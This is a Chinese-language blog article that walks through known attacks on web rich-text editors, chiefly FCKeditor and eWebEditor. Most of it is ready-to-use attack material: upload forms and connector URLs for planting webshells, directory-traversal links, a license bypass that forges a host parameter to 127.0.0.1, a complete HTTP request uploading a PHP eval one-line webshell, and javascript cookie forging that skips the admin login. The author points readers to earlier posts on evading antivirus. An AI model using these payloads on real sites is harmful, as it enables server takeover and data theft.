導讀:從中國互聯網興起,網站迅速發展,從最開始的企業站到個人站點,從最初的靜態站到數據交互的動態網站,WEB安全不斷地引起重視,而在WEB安全中,前端的編輯器更是安全的焦點,因為編輯器包含了文字、圖片、附件等上傳功能,如果在過濾中稍有不慎,便等同於將整個WEB權限拱手相讓。
從動態WEB發展初期到現在,編輯器漏洞一直以來都是層出不窮,小君首先列舉一些最為出名的編輯器漏洞看看它們的漏洞危害度。

FCKeditor
提起FCKeditor作為WEB開發的童鞋是無人不知無人不曉,FCK是這個編輯器作者的名字Frederico Caldeira Knabben的縮寫,是一個專門使用在網頁上屬於開放源代碼的所見即所得文字編輯器。它致力於輕量化,不需要太複雜的安裝步驟即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的編程語言相結合,使用度極其高。

它的漏洞在每個版本也都存在,現在我們來列舉一些。
FCKeditor可以通過FCKeditor/_whatsnew.html 查看現在所使用的版本,如果版本是2.2,Apache+linux 環境下在上傳文件後面加個.來繞過文件驗證上傳WEBSHELL。
PHP的FCK版本<=2.4.2 在處理上傳的地方並未對Media 類型進行上傳文件類型的控制,導致用戶上傳WEBSHELL,測試代碼:
<form id="frmUpload" enctype="multipart/form-data"
action="http://www.itgeeker.cn/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">漏洞測試上傳任意文件:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
FCK版本=4.1版本提交WEBSHELL.php+空格可繞過對其後綴的檢測。

FCK版本=4.2版本繼續上傳同名文件可變為WEBSHELL.php;(1).jpg,執行WEBSHELL。
突破建立文件夾漏洞,利用解析漏洞利用,代碼測試:
FCKeditor/editor/filemanager/connectors/php/connector.php?Command=CreateFolder&Type=Image&CurrentFolder=
%2FWEBSHELL.php&NewFolderName=z&uuid=1254789325665
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?
Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=WEBSHELL.php

列目錄漏洞:
1、修改CurrentFolder 參數使用 ../../來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

2、通過返回到的XML信息查看所有的目錄
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

像FCKeditor這樣漏洞的編輯器還有非常多,比如說eWebEditor、CKFinder、南方數據編輯器southidceditor、UEDITOR、DotNetTextBox編輯器、PHPWEB網站管理系統後台Kedit編輯器、Cute Editor等等。利用方式也大致相同,上傳未過濾、上傳過濾後綴繞過、編輯器後台添加新後綴、文件夾解析漏洞、列目錄漏洞等。
本期我們着重地講解一下eWebEditor,當我打開它的官方網站時瞬間驚呆了,感覺一下子回到了10年前的感覺,整個網站仍然使用了ASP開發,界面也是10年前的常用布局。
ewebeditor首頁
官方介紹:eWebEditor是一個基於瀏覽器的在線HTML編輯器,WEB開發人員可以用她把傳統的多行文本輸入框<textarea>替換為可視化的富文本輸入框。eWebEditor主功能不需要在客戶端安裝任何的組件或控件,操作人員就可以以直覺、易用的界面創建和發布網頁內容。
您可以通過eWebEditor自帶的可視配置工具,對eWebEditor進行完全的配置。
eWebEditor是非常容易與您現有的系統集成,簡單到您只需要一行代碼就可以完成eWebEditor的調用。
您可以把eWebEditor應用於各種基於網頁的應用系統中,如內容管理系統、郵件系統、論壇系統、新聞發布系統,等與內容發布相關的所有應用系統。
編輯器界面
看到這個界面是不是特別的熟悉,目前市場上的大多數CMS仍然使用eWebEditor。
授權的後台
目前eWebEditor開始授權使用,購買授權之後可以通過其後台進行修改後綴等,也就形成了上傳WEBSHELL的通道,而目前非常多的使用者並未進行授權,那麼如何獲取WEBSHELL呢?
未授權的後台
未授權的eWebEditor在樣式管理、上傳管理都是不可用的狀態,所以之前的漏洞是無法使用的,那我們如何去繞過呢?看小君的演示:
eWebEditor為了方便開發者在本地進行測試,並未對127.0.0.1或localhost進行必要授權使用,也就是說如果你使用域名訪問未授權後台,是沒有權限進行修改配置,但是如果你使用127.0.0.1或是localhost本地測試則是可以的。
本地測試
本地測試可以修改
我們現在進行代碼審計,看下它是如何對localhost、127.0.0.1和域名訪問產生不同效果的代碼段。
經過我們的查找發現在ewebeditor/php/i.php文件中的CheckLicense函數中,在檢查授權信息時,先判斷當前域名是否是127.0.0.1或者localhost,如果是的話,就直接返回true,不再進一步驗證授權是否有效。
代碼段
既然知道問題出在這那我們就想辦法去偽造繞過,讓後台的配置功能可以正常地使用。
我們在登錄ewebeditor後台時,使用Burp攔截數據,可以看到有個請求參數h的值為當前的域名或IP。
數據攔截
我們將這個h值進行偽造成127.0.0.1提交測試:

成功進入後台後,雖然顯示仍為無效授權,但是後台的配置等功能完全可以使用了。
後台配置正常使用
然後我們找到一個樣式表進行配置上傳後綴的修改,添加一個php後綴,即可上傳WEBSHELL。
添加後綴
為了方便測試,直接把exp發布出來提供給大家,請勿非法攻擊,僅供測試!
這代碼中已經包含了一個一句話木馬,如果你覺得不免殺的話,可以看小君之前的文章,裡面有免殺的提供使用。
POST /htmledit/php/upload.php?action=save&type=image&style=standard650&cusdir=&skey= HTTP/1.1
Host: just.for.test
Content-Length: 464
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://just.for.test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq6hGwZDfJoQ7dmXy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.51
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://just.for.test/htmledit/dialog/img.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
------WebKitFormBoundaryq6hGwZDfJoQ7dmXy
Content-Disposition: form-data; name="MAX_FILE_SIZE"
102400
------WebKitFormBoundaryq6hGwZDfJoQ7dmXy
Content-Disposition: form-data; name="uploadfile"; filename="php_eval.php"
Content-Type: image/jpeg
<?php @eval($_POST['password']);?>
------WebKitFormBoundaryq6hGwZDfJoQ7dmXy
Content-Disposition: form-data; name="originalfile"
C:fakepathphp_eval.php
------WebKitFormBoundaryq6hGwZDfJoQ7dmXy--
上傳成功:
上傳成功
以上是目前eWebEditor最新的漏洞方式,現在我們還是盤點一下eWebEditor曾經最火的漏洞。
數據庫下載
ewebeditor編輯器默認的數據庫路徑db/ewebeditor.mdb,可以直接下載,如果有後台界面的話直接將MD5密碼破解登陸,但大部分時候滲透者通過該方法成功獲取權限之後,都會將後台登陸頁面login.php、admin_login.php、admin.php刪除,那麼我們就可以下載該數據庫找到之前的滲透者在那個樣式表中修改添加像asa、asp、aspx、php、cer等後綴,然後通過URL構造editor.html進行直接上傳eWebEditor。
<form action=”http://www.itgeeker.cn/editor/upload.asp?action=save&type=&style=樣式名” method=post name=myformenctype=”multipart/form-data”>
<input type=file name=uploadfile size=1 style=”width:100%”>
<input type=submit value=”上傳測試”></input>
</form>
配置文件插馬
eWebEditor=>2.8 商業版後台一句話木馬利用,登陸後台,點擊改動password—新password設置中填寫自己的一句話木馬,設置成功提交後,訪問配置文件asp/config.asp文件就可以,一句話木馬被寫入到這個文件中面了。
文件夾遍歷漏洞
正如我在文章的開頭寫的FCKeditor編輯器的文件遍歷漏洞一樣,eWebEditor也同樣存在該漏洞,文件夾遍歷漏洞基本存在於
ewebeditor/admin_uploadfile.asp 高版本號的是
ewebeditor/admin/upload.asp 文件,我們可以構造連接:
webeditor/admin_uploadfile.asp?id=14&dir=../../../../
對WEB進行目錄的遍歷,同樣有遍歷漏洞的代碼有:
http://www.itgeeker.cn/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
後台繞過認證登陸
訪問後台登陸頁面!隨便輸入帳號密碼返回登陸錯誤後清空瀏覽器,在地址欄輸入
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
然後清空地址欄,在路徑里輸入後台登陸後的頁面,比方: admin_default.asp、admin/default.asp等便可直接進入後台,這已經是非常老的漏洞了,僅供大家測試使用。
結語:
由於編輯器是打通前端與後端數據交互必不可少的工具之一,我們更應該重視其安全,並不是只重視後端的邏輯安全。感謝閱讀本期文章,更多安全知識歡迎關注極客小君頭條號,我們下期再見!
原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/249963.html